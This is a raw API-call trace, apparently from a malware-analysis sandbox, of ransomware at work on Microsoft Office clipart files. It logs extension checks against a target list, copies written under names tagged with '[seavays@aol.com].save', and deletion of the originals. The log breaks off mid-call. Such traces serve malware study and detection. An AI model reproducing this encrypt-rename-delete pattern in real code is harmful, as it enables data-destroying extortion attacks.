lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0076.719] lstrlenW (lpString=".jpg") returned 4 [0076.719] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.102] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.102] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0077.103] GetLastError () returned 0x0 [0077.103] ReadFile (in: hFile=0x398, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xb20, lpOverlapped=0x0) returned 1 [0077.104] WriteFile (in: hFile=0x37c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xb30, lpOverlapped=0x0) returned 1 [0077.105] ReadFile (in: hFile=0x398, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.105] WriteFile (in: hFile=0x37c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.105] SetEndOfFile (hFile=0x37c) returned 1 [0077.105] CloseHandle (hObject=0x37c) returned 1 [0077.105] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.105] SetEndOfFile (hFile=0x398) returned 1 [0077.106] CloseHandle (hObject=0x398) returned 1 [0077.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.107] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 1 [0077.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0077.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0077.108] lstrlenW (lpString=".doc") returned 4 [0077.108] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.108] lstrlenW (lpString=".docx") returned 5 [0077.108] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.108] lstrlenW (lpString=".pdf") returned 4 [0077.108] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.108] lstrlenW (lpString=".xls") returned 4 [0077.108] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.108] lstrlenW (lpString=".xlsx") returned 5 [0077.108] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.108] lstrlenW (lpString=".ppt") returned 4 [0077.108] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0077.108] lstrlenW (lpString=".zip") returned 4 [0077.108] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.108] lstrlenW (lpString=".rar") returned 4 [0077.108] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.108] lstrlenW (lpString=".bz2") returned 4 [0077.108] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.108] lstrlenW (lpString=".7z") returned 3 [0077.108] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0077.108] lstrlenW (lpString=".dbf") returned 4 [0077.108] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0077.108] lstrlenW (lpString=".1cd") returned 4 [0077.108] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0077.108] lstrlenW (lpString=".jpg") returned 4 [0077.108] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.109] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.110] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0077.110] GetLastError () returned 0x0 [0077.110] ReadFile (in: hFile=0x398, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xac4, lpOverlapped=0x0) returned 1 [0077.112] WriteFile (in: hFile=0x37c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xad0, lpOverlapped=0x0) returned 1 [0077.113] ReadFile (in: hFile=0x398, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.113] WriteFile (in: hFile=0x37c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.113] SetEndOfFile (hFile=0x37c) returned 1 [0077.113] CloseHandle (hObject=0x37c) returned 1 [0077.113] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.113] SetEndOfFile (hFile=0x398) returned 1 [0077.114] CloseHandle (hObject=0x398) returned 1 [0077.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.114] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 1 [0077.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0077.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0077.115] lstrlenW (lpString=".doc") returned 4 [0077.115] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.115] lstrlenW (lpString=".docx") returned 5 [0077.115] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.115] lstrlenW (lpString=".pdf") returned 4 [0077.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.115] lstrlenW (lpString=".xls") returned 4 [0077.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.115] lstrlenW (lpString=".xlsx") returned 5 [0077.115] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.115] lstrlenW (lpString=".ppt") returned 4 [0077.115] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0077.116] lstrlenW (lpString=".zip") returned 4 [0077.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.116] lstrlenW (lpString=".rar") returned 4 [0077.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.116] lstrlenW (lpString=".bz2") returned 4 [0077.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.116] lstrlenW (lpString=".7z") returned 3 [0077.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0077.116] lstrlenW (lpString=".dbf") returned 4 [0077.116] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0077.116] lstrlenW (lpString=".1cd") returned 4 [0077.116] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0077.116] lstrlenW (lpString=".jpg") returned 4 [0077.116] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.117] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.117] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0077.118] GetLastError () returned 0x0 [0077.118] ReadFile (in: hFile=0x398, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x4f4, lpOverlapped=0x0) returned 1 [0077.119] WriteFile (in: hFile=0x37c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x500, lpOverlapped=0x0) returned 1 [0077.120] ReadFile (in: hFile=0x398, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.120] WriteFile (in: hFile=0x37c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.120] SetEndOfFile (hFile=0x37c) returned 1 [0077.120] CloseHandle (hObject=0x37c) returned 1 [0077.120] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.120] SetEndOfFile (hFile=0x398) returned 1 [0077.121] CloseHandle (hObject=0x398) returned 1 [0077.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.122] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 1 [0077.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0077.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0077.123] lstrlenW (lpString=".doc") returned 4 [0077.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.123] lstrlenW (lpString=".docx") returned 5 [0077.123] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.123] lstrlenW (lpString=".pdf") returned 4 [0077.123] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.123] lstrlenW (lpString=".xls") returned 4 [0077.123] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.123] lstrlenW (lpString=".xlsx") returned 5 [0077.123] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.123] lstrlenW (lpString=".ppt") returned 4 [0077.123] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0077.123] lstrlenW (lpString=".zip") returned 4 [0077.123] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.123] lstrlenW (lpString=".rar") returned 4 [0077.123] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.123] lstrlenW (lpString=".bz2") returned 4 [0077.123] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.123] lstrlenW (lpString=".7z") returned 3 [0077.123] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0077.123] lstrlenW (lpString=".dbf") returned 4 [0077.123] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0077.123] lstrlenW (lpString=".1cd") returned 4 [0077.123] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0077.123] lstrlenW (lpString=".jpg") returned 4 [0077.123] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.124] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.124] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0077.125] GetLastError () returned 0x0 [0077.125] ReadFile (in: hFile=0x398, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1388, lpOverlapped=0x0) returned 1 [0077.127] WriteFile (in: hFile=0x37c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1390, lpOverlapped=0x0) returned 1 [0077.128] ReadFile (in: hFile=0x398, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.128] WriteFile (in: hFile=0x37c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.128] SetEndOfFile (hFile=0x37c) returned 1 [0077.128] CloseHandle (hObject=0x37c) returned 1 [0077.128] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.128] SetEndOfFile (hFile=0x398) returned 1 [0077.129] CloseHandle (hObject=0x398) returned 1 [0077.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.129] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 1 [0077.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0077.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0077.130] lstrlenW (lpString=".doc") returned 4 [0077.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.130] lstrlenW (lpString=".docx") returned 5 [0077.130] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.130] lstrlenW (lpString=".pdf") returned 4 [0077.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.130] lstrlenW (lpString=".xls") returned 4 [0077.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.130] lstrlenW (lpString=".xlsx") returned 5 [0077.130] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.130] lstrlenW (lpString=".ppt") returned 4 [0077.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0077.130] lstrlenW (lpString=".zip") returned 4 [0077.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.130] lstrlenW (lpString=".rar") returned 4 [0077.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.130] lstrlenW (lpString=".bz2") returned 4 [0077.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.130] lstrlenW (lpString=".7z") returned 3 [0077.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0077.131] lstrlenW (lpString=".dbf") returned 4 [0077.131] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0077.131] lstrlenW (lpString=".1cd") returned 4 [0077.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0077.131] lstrlenW (lpString=".jpg") returned 4 [0077.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.135] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.135] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0077.136] GetLastError () returned 0x0 [0077.136] ReadFile (in: hFile=0x398, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1cac, lpOverlapped=0x0) returned 1 [0077.137] WriteFile (in: hFile=0x37c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1cb0, lpOverlapped=0x0) returned 1 [0077.138] ReadFile (in: hFile=0x398, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.138] WriteFile (in: hFile=0x37c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.139] SetEndOfFile (hFile=0x37c) returned 1 [0077.139] CloseHandle (hObject=0x37c) returned 1 [0077.139] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.139] SetEndOfFile (hFile=0x398) returned 1 [0077.140] CloseHandle (hObject=0x398) returned 1 [0077.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 1 [0077.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0077.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0077.141] lstrlenW (lpString=".doc") returned 4 [0077.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.141] lstrlenW (lpString=".docx") returned 5 [0077.141] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.141] lstrlenW (lpString=".pdf") returned 4 [0077.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.141] lstrlenW (lpString=".xls") returned 4 [0077.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.141] lstrlenW (lpString=".xlsx") returned 5 [0077.141] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.141] lstrlenW (lpString=".ppt") returned 4 [0077.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0077.141] lstrlenW (lpString=".zip") returned 4 [0077.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.141] lstrlenW (lpString=".rar") returned 4 [0077.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.141] lstrlenW (lpString=".bz2") returned 4 [0077.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.141] lstrlenW (lpString=".7z") returned 3 [0077.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0077.142] lstrlenW (lpString=".dbf") returned 4 [0077.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0077.142] lstrlenW (lpString=".1cd") returned 4 [0077.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0077.142] lstrlenW (lpString=".jpg") returned 4 [0077.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.142] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.143] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0077.143] GetLastError () returned 0x0 [0077.143] ReadFile (in: hFile=0x398, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x3dbe, lpOverlapped=0x0) returned 1 [0077.592] WriteFile (in: hFile=0x37c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x3dc0, lpOverlapped=0x0) returned 1 [0077.594] ReadFile (in: hFile=0x398, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.594] WriteFile (in: hFile=0x37c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.594] SetEndOfFile (hFile=0x37c) returned 1 [0077.594] CloseHandle (hObject=0x37c) returned 1 [0077.594] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, 